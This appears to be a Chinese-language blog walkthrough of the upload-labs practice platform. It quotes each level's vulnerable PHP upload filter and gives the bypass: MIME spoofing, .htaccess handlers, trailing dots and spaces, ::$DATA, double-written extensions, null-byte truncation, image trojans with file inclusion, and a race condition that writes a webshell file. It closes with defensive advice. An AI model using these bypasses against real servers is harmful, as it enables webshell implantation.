文件上传漏洞的目标就是向服务器上传一些服务器可以解析的恶意文件,这类文件可以达到与攻击者建立连接并执行恶意命令的作用(又名webshell)。其危害之大,早已引起业界的关注。
本文将通过对upload-labs的练习,重现一些绕过手法,当然也是对文件上传漏洞基础部分的一个系统总结。
这里大家可以直接访问作者的github进行下载:
https://github.com/c0ny1/upload-labs
完事按照说明文档进行安装即可,不得不说,真心感谢作者为我们提供这么优秀的平台进行练习与学习。这里就厚脸皮的贴上作者的脑图了:
上图为大体的绕过思路,现在不理解没关系,我们一起去做一遍就明白了。
最早期的检测,当然也是最弱的。我们先来查看页面内的过滤语句:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
解决方案1:直接禁用浏览器的JS进行上传
尝试上传我们的”webshell“
。此处的webshell
均用phpinfo
来代替:
phpinfo();?>
解决方案2:burp 代理修改数据类型
我们上传一个JPG的后缀绕过限制后,再burp里面修改我们的后缀为.php再次进行绕过
抓包修改文件后缀:
测试效果:
到此,我们发现前端限制不仅消耗脑细胞还很无用。
我们先进行源码分析:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
为了看的更清晰一点我们把FILE变量打印出来:
array(1) { ["upload_file"]=> array(5)
{
["name"]=> string(7) "web.php"
["type"]=> string(24) "application/octet-stream"
["tmp_name"]=> string(14) "/tmp/phpPYzq7W"
["error"]=> int(0)
["size"]=> int(18)
}
}
到这里可以大致梳理出上面的源码的运行流程。我们的文件到达服务器之后会进行一次请求数据包的MIME类型判断,类型不对的话直接拒绝上传。此时我们需要使用burp代理修改文件的MIME类型进行上传:
测试:
此题比较特殊,在服务器过滤不严的情况下,且开启了扩展php解析功能的时候我们可以尝试扩展解析的方案。
执行效果查看:
我们可以看到并没有进行解析,这其实是因为我们并未在apache内部进行对应危险的配置。我们需要在apache配置文件内部配置解析对应后缀的文件才能引发这样的文件上传绕过。
查看源码发现过滤了很多后缀,但是没有过滤.htaccess
文件。
.htaccess
文件的作用:
htaccess文件时Apache服务中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮助我们实现:网页301重定向、自定义404错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能
当然,最常用的作用就是实现一个伪静态页面,SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析,一方面我们文件的后缀更改为html依然可以被当作php进行解析。另一方面,如果在上传目录不进行限制,一旦出现恶意上传.htaccess文件的行为,立刻就会引发安全隐患。无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。
要启用这个文件还得在apache的配置文件中添加这样一条规则进去:
AllowOverride All
上传示例:
先上传我们写好的.htaccess
文件
<FilesMatch "/.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
解析失败,问题未知。各位解决后可以私我,哈哈哈
源码审计:
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
//删除文件名末尾的点
$file_name = deldot($file_name);
//截取第一个.到末尾的数据
$file_ext = strrchr($file_name, '.');
//转换为小写
$file_ext = strtolower($file_ext);
//去除字符串::$DATA
$file_ext = str_ireplace('::$DATA', '', $file_ext);
//首尾去空
$file_ext = trim($file_ext);
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
复述一下这里的代码执行流程:上传的文件会被进行后缀名的合法性处理,处理完毕后,得到的后缀字符串file_ext和黑名单一起被传递到过滤程序中进行对比,匹配到黑名单则报错终止上传。没匹配到黑名单则允许上传。
也就是说,如果我们能让处理程序在处理我们的后缀名时出现盈余,即让我们匹配不到黑名单,就可以实现绕过。我们可以给出一个payload:
#()为空格,也可以自己编写,只要保证被处理后可以掏出黑名单并且可以被当成PHP进行解析即可
web.php.().()
这里可以看到,我们修改的文件名被送到后边的处理语句中进行处理,去除了一个点和一个空格后成功上传。
测试:
观看这里的源码,少了一行,没有进行大小写的转换,直接小写绕过。
测试:成功绕过上传了文件上去,但是很遗憾,并不解析。推测为php版本问题,还是一样,诸位解决了的话欢迎私信。
这里观察源码发现少了$file_ext = trim($file_ext); //首尾去空
这一条处理语句。也就是说我们可以往后缀后面添加看空格尝试进行绕过。
web.php(此处空格)
测试:
成功上传。
这里源码里面又少了关于小圆点的过滤,思路同第七关我们继续进行绕过:
web.php.
经过源码分析发现,未使用str_ireplace()替换字符函数去除 ::$DATA
字符。采用Windows
流特性绕过,在这里意思是php运行在Windows上时如果文件名+::D A T A "
会 把::DATA
之后的数据当作文件流处理,不会检测后缀名,且保持::$DATA
之前的文件名,目的即不检查后缀名。
web.php::$data
源码分析:
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
//首位去除空格
$file_name = trim($_FILES['upload_file']['name']);
//直接将黑单内部的字符替换为空
$file_name = str_ireplace($deny_ext,"", $file_name);
所以我们直接进行双写文件名绕过:
web.pphphp
测试:
源码分析:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
//定义白名单
$ext_arr = array('jpg','png','gif');
//复合使用strrops获取后缀名定位,截取后缀名
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
//白名单验证上传文件的合法性,合法文件才允许进行下一步处理
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
//get接收参数save_path来确定文件的存储路径,利用随机数加日期来拼接出图片文件的名称
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
?>
从上边的源码中我们似乎发现一旦使用白名单限制上传文件,基本无解了。但是这里作者还是给我们留了一手,这里的文件上传路径是通过get传参的形式获取的。也就是说我们是否能在上传路径上动手脚呢?
其实我们可以利用00截断
这样一个出现在PHP5.3版本之前的安全漏洞来进行绕过,这是因为\0
代表的就是C语言中的停止符,在用C语言写的PHP中含义并未发生转变。
我们先上传一个正常的.jpg
后缀文件。进行抓包,修改上传路径为.php后缀的文件并添加%00即\0的URL编码格式。
我们看到上传失败了,经过资料查询,我们使用的环境是5.3.29,超过了漏洞触发最低版本5.2,故无法实现复现,同学们可以尝试进行解决。同时要注意关闭php.ini文件中的magic_quotes_gpc
即就是
magic_quotes_gpc = off
源码分析可知,文件保存路径又通过POST传参的方法进行传递了。我们进行抓包,修改路径为.php%00
再将其进一步URL解码即可进行传参:
进行数据包的修改:
当然,由于版本过高,无法再次使用PHP的00截断漏洞,但是在大家遇到类似的代码结构时,这样的上传方案也不失为一种思路。
这一关我们先来看看提示:
#1.将目标文本文件和图片放到同一个目录下,并在此目录运行cmd
#2.输入copy命令生成图片马
copy src.jpg/b + web.txt web.jpg
copy 图片文件/b + 敏感文本文件 web.jpg
文件马制作好后可以拖到010editor里面即可看到我们的木马信息:
进行上传:
测试包含情况:
http://127.0.0.1/upload-labs/include.php?file=http://127.0.0.1/upload-labs/upload/1620230315204119.jpg
这里文件包含不理解的老铁。可以姑且把它理解为file参数接的数据直接被当成PHP文件执行即可。
也就是说因为我们的图片内含敏感PHP语句。所以被包含进来之后被服务器当成PHP进行解析,加之我们的图片内部本身就存在PHP代码。故引发了这样的安全隐患问题。
这里对二者的源码同时进行分析:
#15关的过滤语句
//定义过滤函数
function isImage($filename){
//定义白名单上的文件后缀
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
//使用getimagessize确定任何支持的指定图像文件的大小,并返回尺寸以及文件类型和 height/width 文本字符串,以在标准 HTML IMG 标签和对应的 HTTP 内容类型中使用。
$info = getimagesize($filename);
//从info的前两个字节中截取出文件后缀名
$ext = image_type_to_extension($info[2]);
//stripos返回types在ext中首次出现的数字位置,这里是在进行白名单匹配
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
#16关的过滤语句
function isImage($filename){
//需要开启php_exif模块,exif_imagetype() 读取一个图像的第一个字节并检查其签名。
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
可以看出,依旧是对图片类型的一种判断,只要准才文件包含漏洞,我们随便制作一个图片马即可轻松绕过上边的函数:
less-15
1.制作图片马
C:\Users\HP\Desktop\muma>copy tailuo.png/b + web.txt web.png
tailuo.png
web.txt
已复制 1 个文件。
2.文件上传
3.文件包含进行解析
less-16 故技重施即可。
我们继续进行源码分析:
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片 --- 二次渲染
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
上面一段比较核心的代码向我们展示了本官卡中独特的过滤方案,即使在我们图片上传后仍然会进行图片重组。我们可以尝试以下过滤强度:
继续上传我们先前的web.jpg图片马。
使用010editor进行二进制分析:
我们可以看到已经有很明显的数据打乱行为,我们之前的PHP语句也已经消失了。此时我们可以尝试在未进行变动的地方插入语句,理论上此种方案可行,但是因为不同的图片在同一个二次渲染的函数下运行的结果不尽相同。并且尝试过的jpg格式的图片明显打乱的次序很多,多次尝试均已失败告终。
我们尝试上传gif图片马,再次拉取上传图片到本地进行编码的对比,在未修改的部分尝试注入php代码:
1.制作gif木马
C:\Users\HP\Desktop\muma>copy dijia.gif/b + web.txt web.gif
dijia.gif
web.txt
已复制 1 个文件。
2.上传文件,再次保存到本地
3.edit二进制对比分析
经过n多次测试之后:终于在这个位置可以实现webshell的上传
总的来说,二次渲染它也逃不过有些约定俗成的位置不进行二次转换。我们就是通过不断地测试,最终定位到二进制文件中没有被转换且不影响文件结构的那一那一小块二进制区域,完成我们的php代码注入。
图片马上传上去之后,我们就需要结合文件包含漏洞实现恶意的webshell解析。整个过程就是需要多次的尝试。才能达到预期的效果。不过若失可以对jpg,png,gif
等图片的编码格式有一个系统的了解,这个东西做起来会更快。还是需要多多学习才是。
竞争型漏洞对于我们大多数初学者来说是一个新颖的概念,对于这类漏洞的理解我们就需要搞清楚一个很重要的点,谁和谁竞争什么。清楚了这一点我们就可以在后续的学习中有的放矢。
源码分析:
if(isset($_POST['submit'])){
//定义白名单
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
//截取文件后缀
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
//先将文件移动到上传路径
if(move_uploaded_file($temp_file, $upload_file)){
//判断是否在白名单内部 如果是则重命名放置到文件夹内部
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
//判断非法文件直接进行删除
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
我们再来理一理这里的思路,文件先上传到文件夹底下,之后开始检测后缀名的合法性。合法重命名保留,不合法直接删除。
听着似乎没毛病,但是细细一想,坏了。文件先存到目录里的,存在一个时间窗口,那么如果我们足够快,能够包含到窗口期的恶意文件。岂不是直接让这个恶意文件生成一个webshell就行了?
这是我们的第一个恶意PHP文件:
#webat.php
<?php fputs(fopen('shell.php','w'),'')?>
然后我们使用burp启动两个进程,一个进程快速上传,一个进程快速请求上传文件地址。最终我们的恶意代码会被执行生成我们的webshell。
我们在这里进行两个数据包的抓取,并将其ctrl+i传送至爆破模块进行处理:
我们再抓取请求包,进行同样的操作:
配置请求模块:
结果获取:
小结一下,本例中的竞争点是我们上传上去的webat.php
文件先被删除还是先被我们请求到。我们使用了两个进程,一个进程无线上传,一个进程有限请求。最终根据回显状态码确认了上传状态,进行webshell
的上传。
这里先说一下常见的文件上传检测方案。可以大体按照作者给出的分类方案,分为客户端和服务端的限制。
客户端主要可以进行JS层面的合法性检测(防君子不放小人),而服务端可以检查文件的后缀,检查文件的内容。在服务端的检测中可以按照黑白名单进行一个分类,黑名单的安全系数较低,通常会因为大小写过滤不严谨,过滤后缀代码不严谨,程序版本过低等问题引发绕过。
而白名单则安全很多,即使想要绕过白名单检测实现webshell的上传,也需要结合可能存在的文件上传漏洞进行攻击。大大提升攻击者的攻击难度。
当然,还有一类上传问题则是出现在代码的运行逻辑上,在确认文件的合法性之前,让文件以任何形式出现在服务器上都是很危险的行为。特别是出现在上传目录里面,攻击者可以使用多进程竞争请求的方式抢在我们删除恶意文件之前,执行恶意代码,实现webshell的生成。这一部分需要代码审计才能发现相应的问题。
这里附上作者的上传思路:大体就是判断前后端过滤,判断过滤类型(内容检测,后缀检测、代码逻辑问题)
当然,如果有人问起文件上传怎么防御那么我肯定会立刻回答:前后端同时白名单过滤,前端过滤后缀,后端文件内容检测,并进行随机次数的多次渲染。保证先判断文件合法性,在上传文件到目录下,并进行重命名。
如此一来,安全系数可以拉到百分之九十九,彻底封死黑客们梦寐以求的"插shell大梦"